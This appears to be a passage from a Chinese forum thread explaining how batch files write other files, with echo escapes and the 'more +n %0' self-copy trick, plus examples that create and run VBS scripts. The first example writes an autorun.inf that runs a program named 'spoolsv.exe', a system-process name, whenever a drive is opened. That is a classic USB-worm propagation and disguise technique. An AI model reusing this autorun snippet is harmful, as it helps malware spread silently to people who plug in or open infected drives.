@echo
off
(echo
[autorun]
echo
open=spoolsv.exe
echo
hell\open=打开(^&o^)
echo
shell\open\command=spoolsv.exe
echo
shell\open\default=1
echo
shell\explore=资源管理器(^&x^)
echo
shell\explore\command=spoolsv.exe)>autorun.inf
这是最觉的方法,用echo
创建文件,
但是要注意,如果字符串中包含特殊符号,必需加上转义符^
使特殊符号成为普通字符输出
睿之锐
是用more命令输出字符串到文件
这里的
%0
表示批处理自身
more命令某种程度上相当于显示命令
type
只是more命令可以带参数
+
n
表示跳过n行显示内容
这里,
睿之锐的代码中,是跳过3行
也就是批处理的前3行,从第4行开始显示,并输出到文件
@echo msgbox"这是一个VBS">>c:\1.vbs
start c:\1.vbs
pause&del c:\1.vbs
@more +2 %0>>new.vbs&start notepad new.vbs&goto :eof
:Write
vbs
vbs
...
...
@echo off
echo hello(任意字符)>1.vbs
(任意名称.vbs)
@echo off
echo (VBS文件内容)>(任意名称.vbs)